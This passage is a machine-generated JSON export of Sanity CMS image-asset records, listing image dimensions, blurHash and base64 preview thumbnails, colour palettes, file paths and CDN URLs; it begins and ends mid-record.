c0216e3e081b08e25eae0b3f9e96-954x588.png"} {"_createdAt":"2022-06-30T19:57:42Z","_id":"image-ae626c7e4cf3f317a02f75185b1067d37f0fb474-640x400-png","_rev":"lf1jOsEAA7PAFZMZhZoXlE","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:43Z","assetId":"ae626c7e4cf3f317a02f75185b1067d37f0fb474","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V2PGy]00000000AWX,yB.Qx@XARQ-p~q?G.99uXTxuXR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6,"height":400,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACTUlEQVQokW2Q22sTQRTG92/RghcEi2JFRREpBS99EFpR8KE++OaLf4Ax2NZqLSKkzW4SbL30FtsSLxQffemLgklVbNqYJmBhk+zu7MyZM5elTzKbtij48TEcDvObM+ezrmdmb00uDEy+uTv3bnHly/e1jY1KtV6r12u1aqVSrfza+r3VbDRbu242mq1mq+G69Vrd6rOnr9kzfenXd6YLsyvFT6XN1cpWo+UHAfE8r+X5JKSUAWNAYzPGGEBIqeu61pVnU5eePu8Zy92eWlj8/ONr1d10CaBAIYFzjojC1LEFRwGmy4Fzz/et7tHshcfOuRF7IJdfLq21QoZCKq0RkVLKKGV/iVJKwtD0GTPw+UeZsyPO6eH0zez8x29lECKKIq0155wEAfH9MAjCf0X34DMj2VMPM11D9o1Mfnm1TDkqpaSUABD4fuB55twRacPtX3ieZ3UNOSeGnGMP0v32/IfSGuWo9+AgMOSuSRC0Z0Is3/etzuTE0eT4kUTqamrmffHn7mTBASil5hZlLCBAQk4Zci4QpTThEUKsQ4n0wcTEgXvjvam5t8UyEzKKIqWUiRRACBMxhJSHTACXJnshYwGA1XHf6Ug4+xL2xfF8obQOUm1vb7cDA2ACUQDnIeUMhAEFxjIF59bJwdzxwdz+hNOdyi+V1lkbjiJEBABELjgXlAlufiulNA/EMnDf6FTv6IvDyayBi+UQhdZaaW0WM+sJJaUSQisZt5VSOyciWpefvOwZe9U5PNlrLxWKZY+EZmC8WHxPR9F/rLWB/wA/7IzhsSFiIAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#930510","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c040c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6292a1","foreground":"#fff","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d19da4","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4e4f9","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6292a1","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#387eb9","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ae626c7e4cf3f317a02f75185b1067d37f0fb474-640x400.png","path":"images/sczeoy4w/production/ae626c7e4cf3f317a02f75185b1067d37f0fb474-640x400.png","sha1hash":"ae626c7e4cf3f317a02f75185b1067d37f0fb474","size":28892,"uploadId":"zCL2DC6di9o6JBjgrQIcCKESDYof3K9x","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae626c7e4cf3f317a02f75185b1067d37f0fb474-640x400.png"} {"_createdAt":"2022-06-30T19:59:26Z","_id":"image-c8502d983696beb74e8cf872de89a5174df1f0f0-3100x1401-png","_rev":"CK1sLU2mnwa3vmbYWEcTMd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:47Z","assetId":"c8502d983696beb74e8cf872de89a5174df1f0f0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAPQHb_N~WWs~p00M|%Lo#-.0jIUt5tRs+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.212705210563883,"height":1401,"width":3100},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB5UlEQVQokU3O3WvTUAAF8PyHYwwE9UXwnxBGdVCpuFnHHnQgblVRV91Gu1k6Nu1mBtvMPmhsmzTpmk/vvUnT5eMm3psm6YO0Ivh7OG/ncBiPjBpd58WR/qwuL1b54uaPd/vNLU5bZfXinrxU5Ve2zzcOO5ucscoaxT1pqcIvb3O7J6LjRYwV0NfH+t1XFzNFdib/ZW5+48HL+pNK897a1exzdvbx7p2FTwulRmGnff9N89bK8Vyhdju/tVxmdeQyPhk1BGuxJjwqXz58y+bXv76vc5Wz62JNyH3kcqXDQumgfHD5+aT3dOdn7sPp/Nq3/Pp+9ajpuAGTJOlNECnoRtLtrgp7GgRoAO2hpEFe0ppdpS0p16rR7WscL7Ln/Pezq9MLvq8ahBAmTRJKSRSGOJgIQxxiHPje0HEQggghy7IgBLqmyZLU6bRbrZYoCBAASimTJAkhJAxDjMMATwRB4Pv+YDCAU8iyEEKmYSiK0uv1ZFnu9/u2bU/KaZoSQjDGvu97nue6ru/7rusCABRF0VTNNM1fpqkqSlcUhU5HFARZlhFCk9tZllFKoygKpzDGf9NxHAggBNBClm3bAABVVdXJnGro+tBx4jhmxuNxmqbJf0ajUTxFKaWEkn+iqd9TcRxnWfYHT0vD3d5DnvgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#045494","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044a82","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#537698","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9dbcd2","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a7ddfc","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#537698","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#247cd4","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c8502d983696beb74e8cf872de89a5174df1f0f0-3100x1401.png","path":"images/sczeoy4w/production/c8502d983696beb74e8cf872de89a5174df1f0f0-3100x1401.png","sha1hash":"c8502d983696beb74e8cf872de89a5174df1f0f0","size":222532,"uploadId":"KOOPgz9jH3OdWvy8uAjFXjMkoKL1c2BG","url":"https://cdn.sanity.io/images/sczeoy4w/production/c8502d983696beb74e8cf872de89a5174df1f0f0-3100x1401.png"} {"_createdAt":"2022-06-30T19:55:50Z","_id":"image-5f2dea978741a9f56c5e79d48e82ba49e0892f36-400x246-png","_rev":"CK1sLU2mnwa3vmbYWEaWPt","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:03Z","assetId":"5f2dea978741a9f56c5e79d48e82ba49e0892f36","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4P%ha00000001Dh?u?]%Ls.00%g.8xanOnOX8tloLVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6260162601626016,"height":246,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB60lEQVQokZ2Qy2sTURTG79+gooIViiJSKt3ETZYupKJBLLUb3QuCC0GwRqfGPgwSaFPaZCadVKfWV4ngouoiphT/h/qqUKTYmsQm88gkk7mT3PvJjFiaEDT1gx/nwvn47jmHXJJf0MvJBdYvPsVF6Rl/8GYZK9/WUSwUoBaL0DUNhqrByOehbWxAzeWgqSp0XUfJKMEsmSibv6mUyyB904/phak51js+i8CkwscWl/Bh/bsXpGs6TNOEVamgYpooaToM9wNd9wIN3djuV60q7KoNcn5SoYHoI3Y6IuPcxEN+f3EJq5tZVC0LlmWBUoparQbHqXlv27Y93J6LbdtwHMfzuJCB2BPaPz3PAlEFfVPzPPL2PdbyBTDG/gtyNjpHz0wo7FRkFr3jCh97vYy1fBGuOOd/pZWH+MNJ6g/LzDcqwR+W+e1XGXzNFRrMrdQc/EfEN5KgJ0cTrCcUh28kwW++TGM1u9XWhK0g3SGRngiJ7LgQQ8+wxG+k0vjSFLgbkSNDEj06JLFOQUTXsMyvpzL4nG1c+R/wHZWTDkGihwWJHboj4ti9JL+WyuBTU2Ab2jaRA0GRHgyKbH8wjs67M/zqwjt8/LG1m7s1Trh3ME733YqzPYMxdAgz/MrzNFY2f4KxOur1tuA7Kv8FXoFUXdQ1qHoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#468797","foreground":"#fff","population":2.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c758a","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d7a94","foreground":"#fff","population":8.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab6b6","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eea397","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c98a7","foreground":"#fff","population":3.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d7a94","foreground":"#fff","population":8.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5f2dea978741a9f56c5e79d48e82ba49e0892f36-400x246.png","path":"images/sczeoy4w/production/5f2dea978741a9f56c5e79d48e82ba49e0892f36-400x246.png","sha1hash":"5f2dea978741a9f56c5e79d48e82ba49e0892f36","size":18934,"uploadId":"rQlqRCj9GVgfu5UGOoodgGnO87EDuN9m","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f2dea978741a9f56c5e79d48e82ba49e0892f36-400x246.png"} {"_createdAt":"2022-06-30T20:09:52Z","_id":"image-889160b887d05b1a837e5625fa875a0d21953c6e-2500x2188-png","_rev":"cEPH2uRN58AU2lp9QO8BfV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:24Z","assetId":"889160b887d05b1a837e5625fa875a0d21953c6e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUBWDAso00o2~WWpWVS2WpW:RjoLxan$R*W;WVWBWVW;Mxo1%MoLM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1425959780621573,"height":2188,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABcRAAAXEQHKJvM/AAADb0lEQVQ4jY2UfUxbVRjGH+jqxsqHEGPGxBgni22W9La3BcpMscKcJkMIROeybInGJsa4uRY2Zcpc66LhDzVZTNxQMZmG4UfIAtJgO7YJg+4DkEFQKm7WyCjj3t7b+9H2tsB6TYldIhjqm5zkJM/J77zv8573ACtCp9OhsLBwea/RaDIJglCVlpkKysrL8wmdTqXRaBSps1qtFmlDr9dj7MYN9F8dRuPhIwpXT89Do8PXLWMjI5Xn3e5HHA7HOopmEKRoWCyW9MD29nYkEnchyzLmg8zGCMdWx1n663iQ/ibCMLuDDJub1OSEjImJCdjtx9cGDg0NLcOSKyzFC5aigj3B0bcSLD2zJAjHolJsU0oPBAKw2R1rAz0ezz0gH5VUC2KofomdP7fEUK4Fnt8nRqW8lO73+9MDW1paIIkcZAA+WUbMN/jwwjXXXmnI/dIdr/fxT8503/eG9WBmx1ff48DBZtjSlZy8+c6FNiSOPwm5uRKxk7uzYy17Sznnq+aBpqObX7F9kNXUeEzZ1OiEvcGxvNaMrq4uxGZ5sJyM+fmwkro4qqFdF/cw3mv7Ar9NG34aHM55vmZ/Rk+3B3ry2fRAt9uN2G0BzCQL6i8qJ3Bpqnbu/OQpxjfzucALe3hRLEh1OdkUezoPe3t7EZ3h4JdlzLF318/1Dhqp784dDl3oO0r9OmXxjkzm1e2oy+j78RLy8rfB1pDGw87OTgR+Hof89jbIZoA7ac2NvL/fFHrvNcsVp7PoQNNHG99qaFa+c+QEDtne/X9NEcM85C1Anywj+ud4gTQ+YBav91f5By4XnfjwC+Wh19/M/OzTM8v+2VaWHH5mO759ohwvkEY8qiXwQ3f3vXfIhSNZ8Yi4c5EPtS5y7JdxQagVw5GclH7z5q3VGfJVFTht2o5degO2EgSoSPhfk7IYEeyJEPVHgqFur5yU2dnZ1RkKlkq0lppRrTeimNDiY4cT8j+zzHB8tiSwLy6EaNciG/TEOO5ljhfyU8Dp6enVngnV5IY2c4mqhiSzirWEot5IQopG0e+9ilOnW9d5By9v8f0yWfu7b6pubHR069mODiXFsAjSNKxW638AnyM3t5mNj9UYyKJiLaGqN5AZBoMBD+TfD7VanVlSUpr7VGXVph1P73ywzGTKVqvVivVKBcwVFcn/chXwbwFW9LtB5+EdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#51293a","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#57090b","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec610e","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cf9ea0","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc74","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a08765","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec610e","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"889160b887d05b1a837e5625fa875a0d21953c6e-2500x2188.png","path":"images/sczeoy4w/production/889160b887d05b1a837e5625fa875a0d21953c6e-2500x2188.png","sha1hash":"889160b887d05b1a837e5625fa875a0d21953c6e","size":129752,"uploadId":"BHBCKzh2ONgznby3A2MKNGHchUZLy5QP","url":"https://cdn.sanity.io/images/sczeoy4w/production/889160b887d05b1a837e5625fa875a0d21953c6e-2500x2188.png"} {"_createdAt":"2022-06-30T19:57:15Z","_id":"image-f9925aac3ef340ed50435f7fa40232ba546d359d-1200x675-png","_rev":"CK1sLU2mnwa3vmbYWEbPm5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:46Z","assetId":"f9925aac3ef340ed50435f7fa40232ba546d359d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MfQv,tt7%LV[WX~Wf6ayofoe9ZaeM|ofoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":675,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRklEQVQokW2QWU9TURRG+69UVFQ08ecYEh/Q8IIEI1QGNfFFX6Rl0oggglahyhxeSDUghRYow2Vqe+epdzjL9DIE1J2snJO9z/edvXcsDENsy0KVFeRSmXKxFJ2qokQ5RZbRVQ1D09FUFV07uStqVFdP3lVPy7KICSGouC6WaWEaBvqJ0NB1DN2IsEwz+lTXDVTNwDBMzAgjqp3ium5kKEQYivAE3/OEYzvCdV0R+L4IgyDC8wOxe2SLxVVV7BzawvN8EQRBxKm2SoxzUe3W930cx6FSqWA5PiXNw3ICKl7I/LLGy2GJ+d8ani+ONVyMaORTqvusGjm2je24rBQMhmeLLG0amI7PxKLMo9erpNI5bFlGBMGZ9pR/DD3Pi3ZqOxVmfim0JfOMT26gFmV+LJZp7pxjpDOBujBNaJtRhxcN/0oEYXg8tuvxM6+RHMoyOzqHvLZKZqVEIrnA1PNXKNNfCS3jeOT/dXghol0GlFWH9fUDpGwOc2+XYlEjl9tjb3kF50Ai8CqE1cnOecSWpSOy+0XyR2UKJYUdWWNX1tgqqWwclslLB6ztSGS3JZa2JDKFXTIFicz2/hlL0iFrByU2iwqxhsEJHgymaRz6TtPIFI/HZmj9Mkc8NU88NceTz7O0jE7T9HGSxqE0De/Huf/uG/UDKe71p6h/m+LhhzTNn6ZoGZshVtue5Go8wZW2bmriCa49TVLb3sPNjl5ud/VR19XHrc5ebnT0RFxvT1LTluByazeXWt9EurrOPu6+GODOs37+AMX6FhceRhQoAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505870","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#147296","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcfcf4","foreground":"#000","population":1.27,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdcfd9","foreground":"#000","population":0.73,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcfcf4","foreground":"#000","population":1.27,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e8c9a","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5401d","foreground":"#fff","population":1.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f9925aac3ef340ed50435f7fa40232ba546d359d-1200x675.png","path":"images/sczeoy4w/production/f9925aac3ef340ed50435f7fa40232ba546d359d-1200x675.png","sha1hash":"f9925aac3ef340ed50435f7fa40232ba546d359d","size":37962,"uploadId":"tNsUGm6XGsFejOipnqHXhE5ce7p4ufux","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9925aac3ef340ed50435f7fa40232ba546d359d-1200x675.png"} {"_createdAt":"2022-06-30T19:58:09Z","_id":"image-7ef2c312b6acdbf8a8a8913ec13e720407a3a9d0-400x250-png","_rev":"cEPH2uRN58AU2lp9QO7nhp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:33Z","assetId":"7ef2c312b6acdbf8a8a8913ec13e720407a3a9d0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V46Hx}t8jboeM|~nkCWCoeR+WnWBayoLoL9Ij[kCfks.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6,"height":250,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABvUlEQVQokX2R227aQBCG/RbFCAx7mtmDjVmchENanyhgmxR6k5DQNAHe/yEqG1FFKumn72Kl2X9nNOtYQyMbhmGoJCKCAGCMMco+QAEEYl2WZ4EjcBDCQWQm0GZglC+lL6VBqQEVKA0mkH4gtYFaX+oAtY/KoDIgpRCCOfZmMF9Ny21SbJNyG1fbb8V6tiimy/Ws3Myqzax8mBTVuHqYrLeTajOpfozL9TjPo9s749zf291TejoVx1N5PKyOh+X76/x5lz++zJ9+Zbt9tntJ98/x+z45vaXH3+nhNXnbJ48/p1kcOmEo83hULe6K77er/GaZR8ssypNRfDGJbRbbRWJXmV02LlKbfh1EQ3S4YMaoINDGKKOVVqgVKgkSBQA/i43nPdUHFEoCZ9ShjKExehAGw2EwGGpt6nUCCCE45+waXHAAQSl1+oSA8Y0d2Siy1vpBoJTChvoJfgVRw/v9vkMoEVKhNvXcTQwuXO1Mz1LqeZ5DGUWJsgER6+/7e+8qTZgQUocJIQDwMUwpJZ9AKeVCnIfq9XpOp9PxPK93wfO87ud4nlfnOSeEdLtd58s/tP6L67rtdtt13Var9QeEZ4PR0WJVhwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34515e","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b4d19","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#938767","foreground":"#fff","population":1.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c0bb","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2cb97","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#938767","foreground":"#fff","population":1.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#907028","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7ef2c312b6acdbf8a8a8913ec13e720407a3a9d0-400x250.png","path":"images/sczeoy4w/production/7ef2c312b6acdbf8a8a8913ec13e720407a3a9d0-400x250.png","sha1hash":"7ef2c312b6acdbf8a8a8913ec13e720407a3a9d0","size":20701,"uploadId":"4U0DWPoS8fXBcHHraBfrKUBcVheLkBFz","url":"https://cdn.sanity.io/images/sczeoy4w/production/7ef2c312b6acdbf8a8a8913ec13e720407a3a9d0-400x250.png"} {"_createdAt":"2022-06-15T20:02:03Z","_id":"image-34f533728f453092988b6565ac3d17fc62c5f92d-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO80Qj","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:40Z","assetId":"34f533728f453092988b6565ac3d17fc62c5f92d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M49@0E2c}?IT5W5l~BNHf,$z00;LAI-;-T","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB9klEQVQokY2S2W7TQBSG/T5V6rHHS7zHceoltkPSpJSk2UoWBBFSgV6AEKK94LIvgHjN3I3mRzNFVEQBcfHpPx6NP585HoVSCsdx4HmeTNM0QQiBqqr/ROw5htJsNtHtdtHr9WS2Wi0YhgFN035z/GX1oFYlim3byLIMVVVJYafTQRRFCIJAIjr3fV/WIi3LOiIkTx2KDUmSSFlRFJKyLFHXtUyxLlKQZ5n8gOhaPRCpcky/hGmayiMLiWAwGGA0GqHf76MSojRFEkfwPU/O2KAaoiZF7tvI/SZSz0LHtRA5JhTxI4bDIRaLBWazGcbjscz1ei1TjCLqpHDSLgwvBNF0+I6B1TMf99McXxdD3C8q3M0KvH1RPQpFN6vVCsvlUgonkwk2mw2ur5couiXsvA/zcgt6VoNQA3bLxWqV4eHDOR7eb/Hjdorv757jdreDQinlvu/zdrvN4zjmQRBIxLPAcV3uxTFP6po7YciJrvPTJOTltuSfb3J+93rEv7254B9fXfLzlzdcObxXf9w3QqARgtg+RT84QWg2oGkERstDPc3waRvhyzzEbprj4mqAdDyHQghhf0NVRarMoQ3Wsk6YrTeYrhHmOiYrUp9dVR6blzbrFy5L0pDFZzETwv1/oT3VVCd7k+p7y9D3TUPb26a2N+gjPwFugn53zbO/IQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#283e5a","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3a290c","foreground":"#fff","population":0.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f6d60","foreground":"#fff","population":2.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5ae94","foreground":"#000","population":0.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a43c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f6d60","foreground":"#fff","population":2.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de7215","foreground":"#fff","population":2.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"34f533728f453092988b6565ac3d17fc62c5f92d-1567x844.png","path":"images/sczeoy4w/production/34f533728f453092988b6565ac3d17fc62c5f92d-1567x844.png","sha1hash":"34f533728f453092988b6565ac3d17fc62c5f92d","size":119110,"uploadId":"fbZwQMqANs65LpPawQhnEmfy3Q18uQ0W","url":"https://cdn.sanity.io/images/sczeoy4w/production/34f533728f453092988b6565ac3d17fc62c5f92d-1567x844.png"} {"_createdAt":"2022-06-30T19:57:53Z","_id":"image-20e51724e361f0e7b22780c07319cd3d2d1478df-640x388-png","_rev":"QRl2cGoCgj0FlAhkRrhjFH","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:57Z","assetId":"20e51724e361f0e7b22780c07319cd3d2d1478df","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUN1AbIo00Rj0K~qj[M{ofRj4nj[?bay%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6494845360824741,"height":388,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACBUlEQVQokWNYvmHT8k2b123feej4iWvXrt26des2GNzBBm7fvn3lypXTp08fPXr08OHDDGH5JWEFJZn1zUs3bL5248Z9MHj48OEjbODOnTu7d+2aOnlKf1//1KlTGfT9Q/V8QzxTsxdt2Pz0+YsPHz58/Pjx8+fPX1DBVzB49fLlls2by4pLCvIL6urqGDS9AtXc/V2TMpZu3vb67btv3759//79169fv3///gUDv3///gsGnz5+3LVzZ2VZeWFBIUizsru/vIuvfXzaoo1bX715+/Xr1+/fv//8+ROiBwL+/PkD0fz58+dDBw+2trSUl5XX1NQwyLv6yTj72MalLdy49fXbd9/B4AcYQPTDdf758+fLly/Hjx/v6e6urKioqqpikHH2lXLyto5JW7Bhy+t37yHafsIAsn6I5hMnTvT399dUV9fW1jJIOPqIOnhbRKfN37D19bv3EB1/kADEWpDWnz+/vH9/8sSJSZMm1dfX1zc0MIg4+go7+JhEpc5YveHpi5efv3z5DAtbZPDl8+cvr1+/vX//6IEDEydObAADBkEHXwF7H62guJqJ0w4cOnzmzJnT2MCpU6dOHTt2bP/+tStXdnV1gWyur2fgt/PhtfWRcQ8JzSnu7OmbPHnyJNxg4oQJXV1djY2NdWDAwGvrw23jI+Yc4BaXVlpZVV8PEScKAAAZsPzrtWmqRAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304e54","foreground":"#fff","population":1.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16404b","foreground":"#fff","population":13.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":21.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0c4c9","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edacab","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":21.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4544c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"20e51724e361f0e7b22780c07319cd3d2d1478df-640x388.png","path":"images/sczeoy4w/production/20e51724e361f0e7b22780c07319cd3d2d1478df-640x388.png","sha1hash":"20e51724e361f0e7b22780c07319cd3d2d1478df","size":14537,"uploadId":"qMT5XZy5TZhOZcUHeEa4IpT5YmUSOhbQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/20e51724e361f0e7b22780c07319cd3d2d1478df-640x388.png"} {"_createdAt":"2022-06-30T20:11:11Z","_id":"image-1bf62ff6ec243c3beeb7bcae169c202a2dd29db6-1999x1338-png","_rev":"QRl2cGoCgj0FlAhkRriTLY","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:03Z","assetId":"1bf62ff6ec243c3beeb7bcae169c202a2dd29db6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4Rp8;V[T2_NkE4TD*RiIpjD00%LITacW?4mRns8j^f%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4940209267563527,"height":1338,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACCUlEQVQ4jW2SW1PbMBBG/f//FbRQCLeW6VOfmgYabFl3rS52Ol9nVwmFDg9n4sjy2U+rHT5fXOP80yXOzi9wdn6Ji8sNNjcPuL37JtzdM4+4f3iU577+FZube3y5uhGurm9xvbmVteHpecR2t8ev3R67pz1+70eo2UIbd8RD6/5rbBCsDfJOKf2P2WDWDoNxGZNJmC3BOILzhBALQnpDzIhUkcuC2lYsyx+05YDWVqHWVdZrO2B